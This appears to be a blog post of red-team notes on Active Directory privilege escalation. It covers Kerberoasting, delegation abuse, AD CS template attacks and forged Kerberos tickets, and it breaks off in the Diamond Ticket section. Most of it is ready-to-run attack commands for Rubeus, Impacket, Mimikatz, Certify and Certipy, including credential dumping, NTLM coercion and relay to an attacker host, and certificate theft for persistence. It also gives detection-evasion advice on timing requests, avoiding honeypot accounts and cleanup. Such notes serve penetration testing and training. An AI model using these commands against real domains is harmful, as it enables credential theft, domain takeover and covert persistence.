Skip to main content
Background Image

Red Team Notes (Domain PrivEsc)

4078 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Domain Privilege Escalation
#

Kerberoasting
#

Request TGS tickets for accounts with SPNs and crack them offline to recover plaintext passwords.

Requirements: Any domain user account

Discovery & Enumeration
#

# Rubeus - Check statistics before extracting
.\Rubeus.exe kerberoast /stats
# Shows count of kerberoastable accounts and encryption types

# Rubeus - List kerberoastable users without requesting tickets (stealthy)
.\Rubeus.exe kerberoast /nowrap /simple

# PowerView (if loaded)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description, pwdlastset, lastlogon

# Filter for high-value targets (accounts with admin description or old passwords)
Get-DomainUser -SPN | Where-Object {$_.description -match "admin" -or $_.pwdlastset -lt (Get-Date).AddYears(-2)}

# Native AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, Description, PasswordLastSet, LastLogonDate

# Check for weak encryption (RC4 vs AES)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes

# Impacket (from Linux)
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

# Just list SPNs without requesting tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -request false

# Filter by username pattern
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> | grep -i "svc\|service\|sql"

Request Tickets & Extract Hashes
#

# Rubeus - Request all kerberoastable tickets
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat

# Request only AES-enabled accounts (harder to crack but less suspicious)
.\Rubeus.exe kerberoast /aes /outfile:aes_hashes.txt /format:hashcat

# RC4 OPSEC mode (requests only RC4-enabled accounts to avoid downgrade detection)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes_rc4.txt /format:hashcat

# Target specific user (targeted approach, less noisy)
.\Rubeus.exe kerberoast /user:<TARGET_USER> /outfile:target_hash.txt /format:hashcat /nowrap

# Request tickets for specific domain (multi-domain environment)
.\Rubeus.exe kerberoast /domain:<CHILD_DOMAIN> /outfile:child_hashes.txt

# Use alternate credentials
.\Rubeus.exe kerberoast /creduser:<DOMAIN>\<USER> /credpassword:<PASSWORD> /outfile:hashes.txt

# Impacket - Request with password
impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -outputfile kerberoast_hashes.txt

# With NTLM hash
impacket-GetUserSPNs -request -dc-ip <DC_IP> -hashes :<NT_HASH> <DOMAIN>/<USER> -outputfile kerberoast.txt

# Request specific user only
impacket-GetUserSPNs -request-user <TARGET_USER> -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -outputfile target.txt

Crack Hashes Offline
#

# Hashcat - TGS-REP (Kerberoasting) is mode 13100
hashcat -m 13100 hashes.txt /path/to/wordlist.txt

# With optimization flag (faster)
hashcat -m 13100 hashes.txt /path/to/wordlist.txt -O

# With rules for better coverage
hashcat -m 13100 hashes.txt /path/to/wordlist.txt -r rules/best64.rule

# Multiple wordlists
hashcat -m 13100 hashes.txt /path/to/wordlist1.txt /path/to/wordlist2.txt

# Show cracked passwords
hashcat -m 13100 hashes.txt --show

# John the Ripper
john --wordlist=/path/to/wordlist.txt --format=krb5tgs hashes.txt

# With rules
john --wordlist=/path/to/wordlist.txt --format=krb5tgs --rules hashes.txt

# Show cracked
john --show --format=krb5tgs hashes.txt

# Resume session
john --restore

Targeted Kerberoasting (Forced SPN)
#

Add temporary SPN to target user (requires GenericAll/GenericWrite on user object).

# Check if you have write access to target user
Get-ObjectAcl -SamAccountName <TARGET_USER> -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty"}

# Add fake SPN (requires write permission)
Set-ADUser -Identity <TARGET_USER> -ServicePrincipalNames @{Add='FakeService/vuln.host'}

# Verify SPN was added
Get-ADUser -Identity <TARGET_USER> -Properties ServicePrincipalName

# Kerberoast the user
.\Rubeus.exe kerberoast /user:<TARGET_USER> /outfile:target_hash.txt /format:hashcat

# Alternative with PowerView
Set-DomainObject -Identity <TARGET_USER> -Set @{serviceprincipalname='FakeService/vuln.host'}

# Remove SPN after attack (CRITICAL for cleanup)
Set-ADUser -Identity <TARGET_USER> -ServicePrincipalNames @{Remove='FakeService/vuln.host'}

# Verify removal
Get-ADUser -Identity <TARGET_USER> -Properties ServicePrincipalName

OPSEC Enhancements
#

# Slow down requests to avoid detection (one request per X minutes)
# Manual approach: Request tickets one at a time with delays
foreach ($user in $kerberoastableUsers) {
    .\Rubeus.exe kerberoast /user:$user /outfile:"$user.txt" /format:hashcat /nowrap
    Start-Sleep -Seconds 300  # 5 minute delay
}

# Target only high-value accounts (admin-like descriptions)
Get-DomainUser -SPN | Where-Object {$_.description -match "admin|privileged|elevated"} | ForEach-Object {
    .\Rubeus.exe kerberoast /user:$_.samaccountname /outfile:"$($_.samaccountname).txt"
}

# Avoid requesting tickets during off-hours (blend with normal activity)
$currentHour = (Get-Date).Hour
if ($currentHour -ge 8 -and $currentHour -le 17) {
    .\Rubeus.exe kerberoast /outfile:hashes.txt
} else {
    Write-Host "Outside business hours, skipping for OPSEC"
}

# Check for honeypot accounts (never logged in, created recently)
Get-DomainUser -SPN | Where-Object {
    $_.lastlogon -eq $null -or 
    $_.whenCreated -gt (Get-Date).AddDays(-30)
} | Select-Object samaccountname, whenCreated, lastlogon
# Avoid kerberoasting these accounts

Unconstrained Delegation
#

Computers with unconstrained delegation receive and store TGTs from connecting users. Abuse this by coercing authentication and stealing high-value TGTs.

Requirements: Compromise of system with unconstrained delegation, ability to coerce authentication

Discovery
#

# PowerView - Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object samaccountname, dnshostname, operatingsystem

# Exclude Domain Controllers (they always have it)
Get-DomainComputer -Unconstrained | Where-Object {$_.useraccountcontrol -notmatch "SERVER_TRUST_ACCOUNT"} | Select-Object samaccountname

# Native AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True} | Select-Object Name, DNSHostName, OperatingSystem

# Filter out DCs
Get-ADComputer -Filter {TrustedForDelegation -eq $True -and PrimaryGroupID -ne 516} | Select-Object Name

# Check specific computer
Get-ADComputer -Identity <COMPUTER_NAME> -Properties TrustedForDelegation, userAccountControl

# Impacket (from Linux)
impacket-findDelegation <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>

# Check for user accounts with unconstrained delegation (rare but possible)
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Monitor for TGTs (From Compromised Delegated System)
#

# Must be running as SYSTEM on the delegated computer
# Use PsExec or similar to elevate: psexec.exe -s -i cmd.exe

# Rubeus - Monitor for incoming TGTs
.\Rubeus.exe monitor /interval:5 /nowrap

# Filter for specific user (e.g., Domain Admin)
.\Rubeus.exe monitor /interval:5 /filteruser:<TARGET_USER> /nowrap

# Monitor with auto-renewal
.\Rubeus.exe monitor /interval:10 /targetuser:Administrator /nowrap

# Continuous monitoring until stopped
.\Rubeus.exe monitor /interval:3 /nowrap

# Rubeus - Dump current tickets from memory
.\Rubeus.exe triage

# Dump specific session's tickets
.\Rubeus.exe dump /luid:<LUID> /nowrap

# Dump all TGTs (requires SYSTEM)
.\Rubeus.exe dump /service:krbtgt /nowrap

Coerce Authentication
#

Force target (e.g., DC) to authenticate to compromised delegated system.

# SpoolSample (PrinterBug) - Coerce DC to authenticate
# From attacker machine or compromised host
python3 SpoolSample.py <TARGET_DC> <COMPROMISED_DELEGATED_SERVER>

# Example
python3 SpoolSample.py DC01.contoso.local DELEGATED-SRV01.contoso.local

# PetitPotam - Coerce via MS-EFSRPC
python3 PetitPotam.py <COMPROMISED_SERVER_IP> <TARGET_DC_IP>

# With authentication (more reliable)
python3 PetitPotam.py -u <USER> -p <PASSWORD> <ATTACKER_IP> <TARGET_DC_IP>

# Specify alternative pipes
python3 PetitPotam.py -pipe lsarpc <ATTACKER_IP> <TARGET_DC_IP>

# DFSCoerce - Coerce via MS-DFSNM
python3 dfscoerce.py -u <USER> -p <PASSWORD> <ATTACKER_IP> <TARGET_IP>

# PrivExchange - Coerce Exchange server (if applicable)
python3 privexchange.py -u <USER> -p <PASSWORD> -d <DOMAIN> -ah <ATTACKER_IP> <EXCHANGE_SERVER>

Capture & Exploit TGT
#

# 1. Start monitoring on delegated system (as SYSTEM)
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap

# 2. Coerce authentication (from another terminal/machine)
python3 PetitPotam.py <DELEGATED_SERVER_IP> <DC_IP>

# 3. Rubeus will capture TGT - copy the Base64 blob

# 4. Inject captured TGT into your session
.\Rubeus.exe ptt /ticket:<BASE64_TICKET_BLOB>

# 5. Verify ticket loaded
klist

# 6. Use ticket for DCSync or other privileged operations
# For computer account TGT (DC$), you can perform DCSync
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

# Or with Impacket
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass <DOMAIN>/DC01$@<DC_FQDN> -just-dc

OPSEC Considerations
#

# Detection indicators:
# - Workstation accounts requesting TGTs (unusual)
# - Computer accounts authenticating to non-DC systems
# - Rapid authentication followed by DCSync
# - Event ID 4624 (LogonType 3) from unexpected sources

# Better OPSEC:
# 1. Monitor during business hours only
$hour = (Get-Date).Hour
if ($hour -ge 8 -and $hour -le 18) {
    .\Rubeus.exe monitor /interval:30
}

# 2. Target specific users instead of monitoring everything
.\Rubeus.exe monitor /filteruser:Administrator,DA-User1,DA-User2

# 3. Clean up captured tickets after use
.\Rubeus.exe purge

# 4. Coerce authentication from services, not directly from DC
# (less suspicious than DC authenticating to workstation)

Constrained Delegation
#

Accounts configured for constrained delegation can impersonate users to specific services. Abuse S4U2Self and S4U2Proxy extensions.

Requirements: Compromise of account with constrained delegation configured

Discovery
#

# PowerView - Find accounts with constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto, operatingsystem

# Native AD Module
# User accounts
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, ServicePrincipalName

# Computer accounts
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, ServicePrincipalName

# Check for protocol transition (more dangerous)
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl | 
    Where-Object {$_.userAccountControl -band 0x1000000}

# Impacket
impacket-findDelegation <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>

Exploitation with Rubeus
#

# Basic S4U attack (request ticket for arbitrary user to delegated service)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt

# With AES key (stealthier)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /aes256:<AES256_KEY> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt

# Example: SQL service account with delegation to CIFS
.\Rubeus.exe s4u /user:sqlservice /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/dc01.contoso.local /ptt

# Request ticket without injecting (save to file)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /outfile:ticket.kirbi

# Alternative SPN (abuse SPN flexibility)
# If delegated to cifs/server01, you can request http/server01, ldap/server01, etc.
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/server01.contoso.local /altservice:ldap /ptt

# Use alternate service names
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/server01 /altservice:http,ldap,host /ptt

# With TGT (if you already have one)
.\Rubeus.exe s4u /ticket:<BASE64_TGT> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt

# Specify domain controller
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /dc:<DC_IP> /ptt

Exploitation with Impacket
#

# getST.py - Request service ticket via S4U
impacket-getST -spn <TARGET_SPN> -impersonate Administrator -dc-ip <DC_IP> <DOMAIN>/<DELEGATED_ACCOUNT>:<PASSWORD>

# With NTLM hash
impacket-getST -spn <TARGET_SPN> -impersonate Administrator -hashes :<NT_HASH> <DOMAIN>/<DELEGATED_ACCOUNT>

# With AES key
impacket-getST -spn <TARGET_SPN> -impersonate Administrator -aesKey <AES256_KEY> <DOMAIN>/<DELEGATED_ACCOUNT>

# Request additional services
impacket-getST -spn cifs/server01.contoso.local -impersonate Administrator -additional-ticket ldap/server01.contoso.local <DOMAIN>/<DELEGATED_ACCOUNT>:<PASSWORD>

# Export ticket
export KRB5CCNAME=Administrator.ccache

# Use with Impacket tools
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
impacket-secretsdump -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>

Protocol Transition Abuse
#

If account has TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag, it can obtain tickets for ANY user (including protected accounts).

# Check for protocol transition
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties userAccountControl |
    Where-Object {$_.userAccountControl -band 0x1000000}

# Exploitation (same as constrained delegation)
.\Rubeus.exe s4u /user:<ACCOUNT_WITH_PROTOCOL_TRANSITION> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt

# Can impersonate protected users (Domain Admins, etc.)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:krbtgt /msdsspn:<TARGET_SPN> /ptt

Resource-Based Constrained Delegation (RBCD)
#

Attacker-controlled computer account can be configured to impersonate users to compromised resource. Requires write access to target’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

Requirements:

  • GenericWrite/GenericAll/WriteProperty on target computer
  • Ability to create computer accounts (default: 10 per user) or compromise existing computer

Discovery
#

# PowerView - Find computers you can write to
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll" -and
    $_.SecurityIdentifier -match "<YOUR_SID>"
}

# Check specific computer for write access
Get-ObjectAcl -Identity <TARGET_COMPUTER> -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll"
}

# Native AD - Check writeable computers
Find-InterestingDomainAcl | Where-Object {$_.IdentityReferenceName -eq "<YOUR_USER>"}

# Check MachineAccountQuota (how many computers you can create)
Get-DomainObject -Identity "DC=contoso,DC=local" -Properties ms-DS-MachineAccountQuota

Create Attacker-Controlled Computer Account
#

# PowerShell with PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)

# Verify creation
Get-DomainComputer -Identity FAKE01

# Impacket (from Linux)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ssw0rd!' -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

# StandIn (alternative)
.\StandIn.exe --computer FAKE01 --make

Configure RBCD on Target
#

# PowerView/PowerMad - Set msDS-AllowedToActOnBehalfOfOtherIdentity
$ComputerSid = Get-DomainComputer -Identity FAKE01 -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer -Identity <TARGET_COMPUTER> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Verify configuration
Get-DomainComputer -Identity <TARGET_COMPUTER> -Properties msds-allowedtoactonbehalfofotheridentity

# Impacket rbcd.py (easier method)
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to '<TARGET_COMPUTER$>' -dc-ip <DC_IP> -action write <DOMAIN>/<USER>:<PASSWORD>

# Verify
impacket-rbcd -delegate-to '<TARGET_COMPUTER$>' -dc-ip <DC_IP> -action read <DOMAIN>/<USER>:<PASSWORD>

Exploit RBCD
#

# Rubeus - Perform S4U attack from attacker-controlled computer
.\Rubeus.exe s4u /user:FAKE01$ /rc4:<FAKE01_NTLM_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_COMPUTER> /ptt

# Alternative services
.\Rubeus.exe s4u /user:FAKE01$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_COMPUTER> /altservice:ldap,http,host /ptt

# With AES key
.\Rubeus.exe s4u /user:FAKE01$ /aes256:<AES256_KEY> /impersonateuser:Administrator /msdsspn:host/<TARGET_COMPUTER> /ptt

# Impacket getST.py
impacket-getST -spn cifs/<TARGET_COMPUTER> -impersonate Administrator -dc-ip <DC_IP> <DOMAIN>/FAKE01$:'P@ssw0rd!'

# Export and use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_COMPUTER_FQDN>

Cleanup
#

# Remove RBCD configuration (OPSEC)
Get-DomainComputer -Identity <TARGET_COMPUTER> | Set-DomainObject -Clear msds-allowedtoactonbehalfofotheridentity

# Or with Impacket
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to '<TARGET_COMPUTER$>' -dc-ip <DC_IP> -action remove <DOMAIN>/<USER>:<PASSWORD>

# Delete fake computer account
Remove-ADComputer -Identity FAKE01 -Confirm:$false

# Or with Impacket
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ssw0rd!' -dc-ip <DC_IP> -delete <DOMAIN>/<USER>:<PASSWORD>

AD CS (Active Directory Certificate Services) Exploitation
#

Abuse misconfigured certificate templates for authentication and privilege escalation.

Requirements: AD CS deployed in environment, vulnerable certificate template

Discovery & Enumeration
#

# Certify - Enumerate Certificate Authorities
.\Certify.exe cas

# Find vulnerable templates
.\Certify.exe find /vulnerable

# Find all templates (detailed info)
.\Certify.exe find

# Check specific CA
.\Certify.exe find /ca:<CA_NAME>

# Find writeable templates (for ESC4)
.\Certify.exe find /writeable

# Enumerate with user context
.\Certify.exe find /currentuser

# Certipy (Python - from Linux)
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable

# Full enumeration
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -stdout

# Output to files
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -text -stdout

ESC1 - Enrollee Supplies Subject (SubjectAltName)
#

Certificate template allows enrollee to specify Subject Alternative Name (SAN), enabling impersonation.

Indicators:

  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled
  • Template allows domain authentication
  • Low-privileged users can enroll
# Certify - Request certificate with arbitrary SAN
.\Certify.exe request /ca:<CA_NAME> /template:<VULNERABLE_TEMPLATE> /altname:Administrator

# Save output certificate (cert.pem) and private key (cert.key)

# Convert to PFX (if needed)
# On Linux
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# On Windows (if you have cert.pem and cert.key)
certutil -MergePFX cert.pem cert.pfx

# Certipy (easier - does conversion automatically)
certipy req -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -template <TEMPLATE> -dc-ip <DC_IP> -altname Administrator

# Use certificate to request TGT
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:<PFX_PASSWORD> /ptt

# Or with Certipy
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

# Will provide both TGT and NT hash

ESC2 - Misconfigured Certificate Templates (Any Purpose EKU)
#

Template with “Any Purpose” EKU or no EKU can be used for authentication.

# Request certificate
.\Certify.exe request /ca:<CA_NAME> /template:<VULNERABLE_TEMPLATE>

# Use for authentication (same as ESC1)
.\Rubeus.exe asktgt /user:<YOUR_USER> /certificate:cert.pfx /password:<PFX_PASSWORD> /ptt

ESC3 - Enrollment Agent Templates
#

Abuse certificate with Certificate Request Agent EKU to request certificates on behalf of others.

# Step 1: Request enrollment agent certificate
.\Certify.exe request /ca:<CA_NAME> /template:<ENROLLMENT_AGENT_TEMPLATE>

# Step 2: Use enrollment agent cert to request certificate for another user
.\Certify.exe request /ca:<CA_NAME> /template:<ANY_TEMPLATE> /onbehalfof:<DOMAIN>\Administrator /enrollcert:agent.pfx /enrollcertpw:<PFX_PASSWORD>

# Step 3: Authenticate with obtained certificate
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:<PFX_PASSWORD> /ptt

ESC4 - Vulnerable Certificate Template Access Control
#

Write access to certificate template allows modification to make it vulnerable.

# Find templates you can write to
.\Certify.exe find /writeable

# Modify template to enable ESC1 (add ENROLLEE_SUPPLIES_SUBJECT flag)
.\Certify.exe template /template:<TEMPLATE_NAME> /configuration "<CA_NAME>" /enrolleesuppliessubject /add

# Or enable authentication EKU
.\Certify.exe template /template:<TEMPLATE_NAME> /configuration "<CA_NAME>" /clientauth /add

# Request certificate with new configuration (ESC1 technique)
.\Certify.exe request /ca:<CA_NAME> /template:<TEMPLATE_NAME> /altname:Administrator

# Restore template (OPSEC - cleanup)
.\Certify.exe template /template:<TEMPLATE_NAME> /configuration "<CA_NAME>" /enrolleesuppliessubject /remove

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
#

CA configured with EDITF_ATTRIBUTESUBJECTALTNAME2 allows SAN specification in any template.

# Check if CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled
.\Certify.exe cas

# Look for: "UserSpecifiedSAN : Enabled" in output

# If enabled, request ANY template with SAN specified
.\Certify.exe request /ca:<CA_NAME> /template:User /altname:Administrator

# Certipy check
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable
# Look for ESC6 in output

# Exploit with any enrollable template
certipy req -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -template User -dc-ip <DC_IP> -altname Administrator

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

ESC7 - Vulnerable Certificate Authority Access Control
#

ManageCA or ManageCertificates rights allow approval of failed requests or modifying CA configuration.

# Check CA permissions
.\Certify.exe find /ca:<CA_NAME>

# If you have ManageCA rights, enable EDITF_ATTRIBUTESUBJECTALTNAME2
# Requires modification of CA configuration (advanced, not covered in Certify)
# Use certutil or CA MMC snap-in

# If you have ManageCertificates, approve pending requests
# Submit certificate request
.\Certify.exe request /ca:<CA_NAME> /template:SubCA

# Request will be in pending state. Approve it via CA management tools or:
certutil -resubmit <REQUEST_ID>

# Certipy can automate this
certipy req -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -template SubCA -dc-ip <DC_IP>
# If denied, use ESC7 technique
certipy ca -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -enable-template SubCA -dc-ip <DC_IP>

ESC8 - NTLM Relay to AD CS HTTP Endpoints
#

Relay NTLM authentication to AD CS web enrollment endpoints to obtain certificate.

# Setup ntlmrelayx targeting AD CS
impacket-ntlmrelayx -t http://<ADCS_SERVER>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>

# Alternative endpoint
impacket-ntlmrelayx -t https://<ADCS_SERVER>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce authentication from target (e.g., DC)
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>

# Or use PrinterBug
python3 printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<DC_IP> <ATTACKER_IP>

# ntlmrelayx will capture authentication and request certificate
# Certificate saved as PFX file

# Use certificate to authenticate
.\Rubeus.exe asktgt /user:<DC>$ /certificate:dc_cert.pfx /password:<PFX_PASSWORD> /ptt

# Certipy can automate ESC8
certipy relay -target http://<ADCS_SERVER>/certsrv/certfnsh.asp -template DomainController

# Then coerce authentication
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>

ESC9 - No Security Extension
#

Certificate template without security extension allows weak certificate mappings.

# Check for templates without required security extensions
.\Certify.exe find /vulnerable

# Look for templates missing msPKI-Certificate-Name-Flag or specific extensions

# Exploitation similar to ESC1/ESC2 depending on template configuration
.\Certify.exe request /ca:<CA_NAME> /template:<VULNERABLE_TEMPLATE>

ESC10 - Weak Certificate Mappings
#

Certificate mappings that use weak identifiers (e.g., SAN only without strong checks).

# Enumeration
.\Certify.exe find /vulnerable

# Exploitation depends on specific weak mapping configuration
# May involve requesting certificates with specific SANs or UPNs

Certificate Persistence
#

# Once you have elevated access, steal/backup certificates for persistence

# Export certificates from compromised system
# Via Mimikatz
crypto::certificates /export

# Or via certutil
certutil -store -user my > user_certs.txt
certutil -exportPFX -user my <CERT_SERIAL> cert_backup.pfx

# Request long-lived certificate for persistence
.\Certify.exe request /ca:<CA_NAME> /template:<TEMPLATE> /altname:Administrator
# Keep PFX safe for future access

# Certipy - backup all certificates
certipy shadow auto -u <USER>@<DOMAIN> -p '<PASSWORD>' -account <TARGET_USER>

OPSEC & Detection Evasion
#

# Certificate request events to be aware of:
# - Event ID 4886: Certificate Services received request
# - Event ID 4887: Certificate Services approved and issued
# - Event ID 4768: Kerberos TGT requested (when using cert for auth)

# Better OPSEC practices:
# 1. Request certificates during business hours
$hour = (Get-Date).Hour
if ($hour -ge 8 -and $hour -le 17) {
    .\Certify.exe request /ca:<CA> /template:<TEMPLATE>
}

# 2. Use templates that legitimate users would request
# Avoid obvious templates like "DomainController" or "Administrator"

# 3. Request for existing user accounts only (no fake SANs)
.\Certify.exe request /ca:<CA> /template:<TEMPLATE> /altname:<REAL_USER>

# 4. Clean up failed/denied requests
# Denied requests remain in CA database and can be investigated

# 5. Avoid ESC8 (NTLM relay) - extremely noisy and widely detected

Golden Ticket
#

Forge Kerberos TGT using krbtgt account hash. Provides complete domain access and persistence.

Requirements: krbtgt NTLM hash or AES key, Domain SID

# Extract krbtgt hash via DCSync
lsadump::dcsync /user:<DOMAIN>\krbtgt

# Or with Impacket
impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Get Domain SID
whoami /user  # Take all except last segment (RID)
# Or: (Get-ADDomain).DomainSID

# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ptt

# With AES256 key (stealthier)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /aes256:<AES256_KEY> /ptt

# Realistic ticket lifetime (avoid 10-year defaults)
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /endin:600 /renewmax:10080 /ptt

# Impacket ticketer
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> Administrator
export KRB5CCNAME=Administrator.ccache

# Use ticket
klist
dir \\dc01\C$
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>

Silver Ticket
#

Forge service ticket (TGS) for specific service using service account hash. Doesn’t contact KDC.

Requirements: Service account NTLM hash or AES key, Domain SID, Target SPN

# Get service account hash (e.g., computer account for CIFS)
impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<TARGET_COMPUTER>

# Mimikatz - Create Silver Ticket for CIFS
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /target:<TARGET_FQDN> /service:cifs /rc4:<COMPUTER_HASH> /ptt

# Multiple services
.\Rubeus.exe silver /domain:<DOMAIN> /sid:<SID> /ticketuser:Administrator /service:cifs/<HOST_FQDN> /rc4:<HASH> /ptt
.\Rubeus.exe silver /domain:<DOMAIN> /sid:<SID> /ticketuser:Administrator /service:ldap/<HOST_FQDN> /rc4:<HASH> /ptt

# With AES256
.\Rubeus.exe silver /domain:<DOMAIN> /sid:<SID> /ticketuser:Administrator /service:host/<HOST_FQDN> /aes256:<AES_KEY> /ptt

# Impacket
impacket-ticketer -nthash <SERVICE_HASH> -domain-sid <SID> -domain <DOMAIN> -spn cifs/<TARGET_FQDN> Administrator
export KRB5CCNAME=Administrator.ccache

Diamond Ticket
#

Modify legitimate TGT with krbtgt key to escalate privileges. Hybrid of legitimate and forged ticket - harder to detect than pure Golden Ticket.

Requirements: krbtgt AES key, valid low-privilege TGT

# Step 1: Get krbtgt AES key (DCSync or from NTDS)
lsadump::dcsync /user:krbtgt
# Extract AES256 key from output

# Step 2: Obtain legitimate TGT for low-privilege account
# Either dump existing ticket or request new one
.\Rubeus.exe asktgt /user:<LOW_PRIV_USER> /password:<PASSWORD> /outfile:user_tgt.kirbi

# Or dump from current session
.\Rubeus.exe dump /service:krbtgt /user:<CURRENT_USER> /nowrap

# Step 3: Create Diamond Ticket (upgrade privileges in existing TGT)
.\Rubeus.exe diamond /tgtdeleg /ticketuser:<LOW_PRIV_USER> /ticketuserid:<USER_RID> /groups:512,513,518,519,520 /krbkey:<KRBTGT_AES256_KEY> /nowrap /ptt

# Alternative: Use existing TGT file
